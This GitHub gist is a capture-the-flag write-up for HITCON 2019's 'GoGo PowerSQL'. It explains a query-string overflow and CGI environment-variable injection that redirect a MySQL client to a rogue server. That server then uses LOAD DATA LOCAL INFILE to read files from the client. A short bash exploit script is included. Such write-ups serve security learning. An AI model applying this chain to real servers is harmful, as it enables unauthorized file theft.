Skip to content

Instantly share code, notes, and snippets.

@badicsalex
Last active October 18, 2019 22:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save badicsalex/56dc111e272c4e897f9489528aa8c47f to your computer and use it in GitHub Desktop.
Save badicsalex/56dc111e272c4e897f9489528aa8c47f to your computer and use it in GitHub Desktop.
Writeup for the GoGo PowerSQL task of Hitcon 2019

GoGo PowerSQL

Description

Pwn me

[service URL]

[.tar.gz of the service]

Type

🍊 (misc cgi pwn)

The service

To be honest, never even opened the actual service, I jumped straight into to targz. It contained the following files:

-rw-r--r--  1 alex alex    47 Oct  9 11:15 db.conf
-rw-r--r--  1 alex alex   765 Oct 11 12:19 Dockerfile
-rw-r--r--  1 alex alex    16 Oct 10 07:42 FLAG
-rwxr-xr-x  1 alex alex  2673 Oct 10 07:41 index.html
-rwxr-xr-x  1 alex alex 10224 Oct 11 11:33 query
-rw-r--r--  1 alex alex  1823 Oct  8 20:23 route.txt

Dockerfile is interesting:

FROM ubuntu:latest
MAINTAINER <Orange Tsai> orange@chroot.org

EXPOSE 80/tcp

WORKDIR /root/
RUN apt-get update
RUN apt install -y git make gcc libmysqlclient20
RUN git clone https://github.com/embedthis/goahead.git

WORKDIR /root/goahead/
RUN git checkout v4.0.0
RUN sed -i 's/DME_DEBUG=1/DME_DEBUG=0/' projects/goahead-linux-static.mk
RUN make PROFILE=static ME_COM_SSL=0 ME_GOAHEAD_SSL=0 ME_COM_MBEDTLS=0 DEBUG=0
RUN make  -- DEBUG=0 ME_COM_MBEDTLS=0 ME_GOAHEAD_SSL=0 ME_COM_SSL=0 PROFILE=static install

WORKDIR /etc/goahead
RUN mkdir web/
RUN mkdir cgi-bin/
RUN sed -i 's/CGI/\x0\x0\x0/g' /usr/local/bin/goahead
COPY db.conf    .
COPY route.txt  .
COPY index.html web/
COPY query      cgi-bin/

COPY FLAG       /
CMD ["goahead", "-v"]%    

Looks like we're dealing with the tiny webserver named goahead. No known vulns, but it does support CGI. All the other files are not really important right now, only query, which is a 10KB binary that is the CGI backend.

The binary

Tl;dr of the binary

Opening the query binary in IDA shows us that all it does is SELECT for a specific name (given in a GET parameter) in the database, and prints rows.

Some things it does:

  1. In sub_DEA, it loads a simple db.config file into memory, namely 4 strings: DB host, username, password and DB name.
  2. In sub_107B, it parses the QUERY_STRING env var (<3 CGI) with strsep and strtok, and uses sub_FD1 to sanitize both parameter names and values.
  3. Then connects to mysql with the legacy mysql_real_connect(), with the previously parsed parameters, and 0 for every other interesting parameter.
  4. Then does the query, etc... does not matter, we will not get this far.

The sanitizer

I've learned that day, that in the sanitizer code:

const char *__fastcall sub_FD1(const char *a1)
{
  int v1; // eax@3
  int v3; // [sp+18h] [bp-18h]@1
  int i; // [sp+1Ch] [bp-14h]@1

  v3 = 0;
  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( (*__ctype_b_loc())[a1[i]] & 0x400 )
    {
      v1 = v3++;
      a1[v1] = a1[i];
    }
  }
  a1[v3] = 0;
  return a1;
}

The __ctype_b_loc talbe is the "attributes for each character" table, and (*__ctype_b_loc())[a1[i]] & 0x400 is literally the isalpha macro. So we are constrained to only alphabetic characters for all query keys and values

The overflow

There is a classic overflow in the QUERY_STRING parsing. After 256 keys, it overflows into DBHost and friends. Fortuitously the data formats are the same, i.e. everything is a char*. Keep in mind, still only alphabetic characters for the host :C

The CGI env var thing

Remember RUN sed -i 's/CGI/\x0\x0\x0/g' /usr/local/bin/goahead? Yeah, as if that makes sense. Spoiler: it's just an obfuscated way to set the ME_GOAHEAD_CGI_VAR_PREFIX in the goahead source to 0, disabling CGI prefixing. CGI env var prefixig is a security feature built into goahead something like 2 years ago. Without it, we can set all kinds of env vars (unfortunately except LD_PRELOAD and friends, as that is not allowed by goahead itself).

But what do we want to set? Well, we want some good postfix for our hostname in mysql_real_connect. Remember, hostname resolution is most often done via the glibc resolver, which has a great man page. The thing to look for is

The search keyword of a system's resolv.conf file can be overridden on a per-process basis by setting the environment variable LOCALDOMAIN to a space-separated list of search domains.

Turns out, we can set this variable by simply having a GET parameter named LOCALDOMAIN. So I just set this to .hu, as I have a server in that TLD, and set the host overflow to stickman, yielding stickman.hu

Just for convenience, I also set MYSQL_TCP_PORT=5432 (because of course there is an env var used by libmysql), so I don't even have to touch my already running MySQL server on that machine.

MySQL protocol things

Okay, so now we have a binary that connects to our potentially malicious server. What can we do? Spoiler: we can get the client to send us files. Yup.

So basically, MySQL has many file-manipulating constructs. The ones we know and love: SELECT ... INTO OUTFILE and LOAD DATA INFILE 'file_name' INTO TABLE ..., with which to escalate from MySQL execution to full filesystem control (if the server lets us).

Looking at the MySQL manual around LOAD, there's an interesting directive:

LOAD DATA [LOCAL] INFILE

What is LOCAL? It means a file on the mysql client. How is it supported by the protocol? Very similarly to scp: the server, after parsing the query, can ask the client to send specific files. Any file. So I just downloaded one of the actually working forks of the RogueMysqlServer. I think it was this fork. Set it up to get the /FLAG file, and I was done

Exploit

The server part, pardon my bash:

#!/bin/bash

URL=13.231.38.172

Q=name=A

for i in $(seq 256); do Q="$Q$i=1&"; done

Q="$Q&stickman=1&LOCALDOMAIN=hu&MYSQL_TCP_PORT=5432"

curl "http://$URL/cgi-bin/query?$Q"

Flag

hitcon{Env1r0nm3nt 1nj3ct10n r0cks!!!}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment